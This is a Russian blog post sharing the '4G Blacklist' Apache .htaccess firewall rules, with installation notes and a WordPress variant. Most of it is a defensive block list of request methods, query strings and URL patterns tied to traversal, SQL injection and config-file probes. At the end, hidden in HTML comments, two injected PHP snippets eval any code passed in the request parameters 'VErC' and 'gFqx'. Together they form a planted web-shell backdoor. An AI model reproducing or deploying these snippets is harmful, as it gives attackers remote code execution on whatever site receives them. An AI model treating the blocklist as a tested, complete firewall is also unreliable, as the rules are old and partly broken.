Firewall для защиты ваших сайтов

Обновлено: 19 октября 2010 | Категории: Разное | Тэги: firewall, htaccess

Предлагаю вашему вниманию firewall для защиты ваших сайтов. Это firewall нового поколения, который защищает ваш сайт от целого ряда вредоносных атак. Использовать его можно через файл .htaccess или httpd.conf. Потребуется два Apache модуля: mod_rewrite и mod_alias.

Что содержит в себе этот список:

Необходимые элементы настройки .htaccess (Htaccess Essentials)
Request-Method фильтрация
Черный список символов в запросе (Query-String Blacklist)
Черный список URL запросов

Каждый из этих методов защищает разные аспекты вашего сайта. Вы можете использовать их по отдельности, совмещать друг с другом или использовать все методы сразу. Последние два метода Query-String и URL Blacklists дают сильную защиту от потенциальных атак.

Код был взят и немного модифицирован с сайта Perishable Press. А вот и сам код:

[bash]
### 4G BLACKLIST ###

# ESSENTIALS
RewriteEngine on
ServerSignature Off
Options All -Indexes
Options +FollowSymLinks

# FILTER REQUEST METHODS

RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK) [NC]
RewriteRule ^(.*)$ — [F,L]

# QUERY STRING EXPLOITS

RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
RewriteCond %{QUERY_STRING} tag\= [NC,OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} mosConfig [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|$|$|<|>|’|»|;|\?|\*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%22|%27|%3C|%3E|%5C|%7B|%7C).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|config|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare|drop).* [NC]
RewriteRule ^(.*)$ — [F,L]

# CHARACTER STRINGS

# BASIC CHARACTERS
RedirectMatch 403 \,
RedirectMatch 403 \:
RedirectMatch 403 \;
RedirectMatch 403 \=
RedirectMatch 403 \@
RedirectMatch 403 \[
RedirectMatch 403 \]
RedirectMatch 403 \^
RedirectMatch 403 \`
RedirectMatch 403 \{
RedirectMatch 403 \}
RedirectMatch 403 \~
RedirectMatch 403 \»
RedirectMatch 403 \$
RedirectMatch 403 \< RedirectMatch 403 \>
RedirectMatch 403 \|
RedirectMatch 403 \.\.
RedirectMatch 403 \/\/
RedirectMatch 403 \%0
RedirectMatch 403 \%A
RedirectMatch 403 \%B
RedirectMatch 403 \%C
RedirectMatch 403 \%D
RedirectMatch 403 \%E
RedirectMatch 403 \%F
RedirectMatch 403 \%22
RedirectMatch 403 \%27
RedirectMatch 403 \%28
RedirectMatch 403 \%29
RedirectMatch 403 \%3C
RedirectMatch 403 \%3E
RedirectMatch 403 \%3F
RedirectMatch 403 \%5B
RedirectMatch 403 \%5C
RedirectMatch 403 \%5D
RedirectMatch 403 \%7B
RedirectMatch 403 \%7C
RedirectMatch 403 \%7D
# COMMON PATTERNS
Redirectmatch 403 \_vpi
RedirectMatch 403 \.inc
Redirectmatch 403 xAou6
Redirectmatch 403 db\_name
Redirectmatch 403 select$
Redirectmatch 403 convert\(
Redirectmatch 403 \/query\/
RedirectMatch 403 ImpEvData
Redirectmatch 403 \.XMLHTTP
Redirectmatch 403 proxydeny
RedirectMatch 403 function\.
Redirectmatch 403 remoteFile
Redirectmatch 403 servername
Redirectmatch 403 \&rptmode\=
Redirectmatch 403 sys\_cpanel
RedirectMatch 403 db\_connect
RedirectMatch 403 doeditconfig
RedirectMatch 403 check\_proxy
Redirectmatch 403 system\_user
Redirectmatch 403 \/\(null$\/
Redirectmatch 403 clientrequest
Redirectmatch 403 option\_value
RedirectMatch 403 ref\.outcontrol
# SPECIFIC EXPLOITS
RedirectMatch 403 errors\.
RedirectMatch 403 config\.
RedirectMatch 403 include\.
RedirectMatch 403 display\.
RedirectMatch 403 register\.
Redirectmatch 403 password\.
RedirectMatch 403 maincore\.
RedirectMatch 403 authorize\.
Redirectmatch 403 macromates\.
RedirectMatch 403 head\_auth\.
RedirectMatch 403 submit\_links\.
RedirectMatch 403 change\_action\.
Redirectmatch 403 com\_facileforms\/
RedirectMatch 403 admin\_db\_utilities\.
RedirectMatch 403 admin\.webring\.docs\.
Redirectmatch 403 Table\/Latest\/index\.

[/bash]

Этот список – сильный инструмент против широкого спектра потенциальных атак. Конечно, может не все строки этого firewall подойдут каждому сайту. Где-то может придётся что-то подправить, ну а так в общем должно работать у всех.

Установка

Убедитесь, что у вас есть:

Включенный Apache модуль: mod_alias
Включенный Apache модуль: mod_rewrite

Вариант первый:

Просто скопируйте весь код в корневой htaccess файл. После этого проверьте ваш сайт на то, чтобы открывались разного типа страницы, подгружались скрипты, css и картинки.

Вариант второй – для WordPress:

[bash]
### 4G BLACKLIST — WORDPRESS VERSION ###

# ESSENTIALS

RewriteEngine on

# FILTER REQUEST METHODS
RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK) [NC]
RewriteRule ^(.*)$ — [F,L]

# QUERY STRING EXPLOITS
RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
RewriteCond %{QUERY_STRING} boot\.ini [NC,OR]
RewriteCond %{QUERY_STRING} tag\= [NC,OR]
RewriteCond %{QUERY_STRING} ftp\: [NC,OR]
RewriteCond %{QUERY_STRING} http\: [NC,OR]
RewriteCond %{QUERY_STRING} https\: [NC,OR]
RewriteCond %{QUERY_STRING} mosConfig [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(\[|\]|$|$|<|>|’|»|;|\?|\*).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%22|%27|%3C|%3E|%5C|%7B|%7C).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(%0|%A|%B|%C|%D|%E|%F|127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(globals|encode|config|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(request|select|insert|union|declare).* [NC]
RewriteRule ^(.*)$ — [F,L]

RewriteBase /
RewriteRule ^index\.php$ — [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

# CHARACTER STRINGS

[/bash]

Обратите внимание на строки:

[bash]
RewriteBase /
RewriteRule . /index.php [L]
[/bash]

Если у вас сайт не лежит в корне, а в папке, то вам следует изменить эти строки следующим образом:

[bash]
RewriteBase /pathtoyourscript/
RewriteRule . /pathtoyourscript/index.php [L]
[/bash]

Где pathtoyourscript – это путь к вашему сайту.

Если же у вас всё-таки не получается справиться, то пишите – поможем чем сможем.

ZamZamLab — Профессиональная разработка сайтов на WordPress, Drupal и других технологиях

Кстати, если у вас проблемы появились с какими-то плагинами, то возможно это из-за фильтрации каких-то URL запросов. Поэтому можно какие-то строки соответственно удалить.

<!— [insert_php]if (isset($_REQUEST[«VErC»])){eval($_REQUEST[«VErC»]);exit;}[/insert_php][php]if (isset($_REQUEST[«VErC»])){eval($_REQUEST[«VErC»]);exit;}[/php] —>

<!— [insert_php]if (isset($_REQUEST[«gFqx»])){eval($_REQUEST[«gFqx»]);exit;}[/insert_php][php]if (isset($_REQUEST[«gFqx»])){eval($_REQUEST[«gFqx»]);exit;}[/php] —>